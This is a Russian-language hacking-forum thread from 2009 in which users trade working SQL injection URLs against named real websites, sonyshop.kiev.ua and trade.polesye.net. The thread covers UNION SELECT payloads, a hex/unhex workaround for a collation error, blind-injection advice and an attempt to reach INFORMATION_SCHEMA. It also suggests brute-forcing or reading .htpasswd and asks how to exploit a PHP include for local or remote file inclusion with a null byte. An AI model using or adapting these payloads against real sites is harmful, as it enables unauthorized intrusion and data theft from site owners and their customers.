Войти или зарегистрироваться
Выберите удобный способ — аккаунт создастся автоматически.
Или войдите по логину и паролю
 |
|
12.10.2009, 23:54
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Сообщение от skyscr
предлагаете брутить?
Да. Либо еще можно найти уязвимость и прочитать .htpasswd, но я думаю, что там их нету, т.к. сайт на HTML...
|
|
|
13.10.2009, 00:50
|
|
Новичок
Регистрация: 02.06.2009
Сообщений: 3
С нами:
8916728
Репутация:
0
|
|
мдя, словарик больше Tb будет, брут не получится
|
|
|
|
13.10.2009, 01:59
|
|
Познающий
Регистрация: 21.01.2009
Сообщений: 98
С нами:
9107354
Репутация:
122
|
|
А как можно вывести рабочие столбцы вот тут?
Код:
http://www.sonyshop.kiev.ua/index.php?t=item_det&id=1361 union select 1,2,3 --
стандартное добаление '-' и изминение значения страницы приводит к ридиректу на страницу 404 |
|
|
|
13.10.2009, 02:21
|
|
Участник форума
Регистрация: 17.05.2008
Сообщений: 102
С нами:
9466141
Репутация:
74
|
|
нету полей для вывода...
Код:
http://www.sonyshop.kiev.ua/index.php?t=item_det&id=1361+and+1=0+union+select+1,2,3+--+-
пробуй как слепую покрутить.... |
|
|
|
13.10.2009, 02:29
|
|
Познающий
Регистрация: 21.01.2009
Сообщений: 98
С нами:
9107354
Репутация:
122
|
|
Сообщение от xa-xa89
нету полей для вывода...
Код:
http://www.sonyshop.kiev.ua/index.php?t=item_det&id=1361+and+1=0+union+select+1,2,3+--+-
пробуй как слепую покрутить.... ха, пробовал, не видно)
А вот ещё вопросик. В скуле
Код:
http://trade.polesye.net/catalog.php?catid=2&id=176%20union%20select%201,2,version%28%29,4,5,6,7,8,9,10,11,12,13,14,15/*
Выводит вот такое
Код:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
так как первый раз такое вижу, вопрос, что это и как с ним бороться?
|
|
|
|
13.10.2009, 02:36
|
|
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
С нами:
9851426
Репутация:
3908
|
|
Сообщение от TELO
ха, пробовал, не видно)
А вот ещё вопросик. В скуле
Код:
http://trade.polesye.net/catalog.php?catid=2&id=176%20union%20select%201,2,version%28%29,4,5,6,7,8,9,10,11,12,13,14,15/*
Выводит вот такое
Код:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
так как первый раз такое вижу, вопрос, что это и как с ним бороться?
Код:
http://trade.polesye.net/catalog.php?catid=2&id=176%20union%20select%201,2,unhex(hex(version())),4,5,6,7,8,9,10,11,12,13,14,15/*
Одни и те же вопросы.....
__________________
Feci, quod potui. Faciant meliora potentes.
|
|
|
|
13.10.2009, 03:02
|
|
Познающий
Регистрация: 21.01.2009
Сообщений: 98
С нами:
9107354
Репутация:
122
|
|
Спасибо но....
Access denied for user 'trader'@'localhost' to database 'INFORMATION_SCHEMA'
Последний раз редактировалось TELO; 13.10.2009 в 03:06..
|
|
|
|
13.10.2009, 07:37
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
С нами:
9154406
Репутация:
2221
|
|
Сообщение от TELO
Спасибо но....
Access denied for user 'trader'@'localhost' to database 'INFORMATION_SCHEMA'
Головой умеешь думать?
Так то тебе дали рабочий пример.
Т.к. нету запроса к INFORMATION_SCHEMA.
Так что запрос который ты послал сейчас, уже твои проблемы.
Ибо вообще нету прав к INFORMATION_SCHEMA.
|
|
|
|
13.10.2009, 11:39
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
С нами:
11020706
Репутация:
4693
|
|
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|
|
13.10.2009, 13:25
|
|
Участник форума
Регистрация: 09.08.2008
Сообщений: 139
С нами:
9344432
Репутация:
15
|
|
Имеется следующий код на пхп:
PHP код:
if(is_file("modules/rankings/$_POST.php")){include("modules/rankings/$_POST.php");}
Можно ли , изменяя $_POST[sort], добиться удаленного инклуда или же инклуда локальных файлов без .php?
Ну попробую добавить нулевой байт и проверить. |
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
|
|
|
|
Похожие темы
Линейный вид
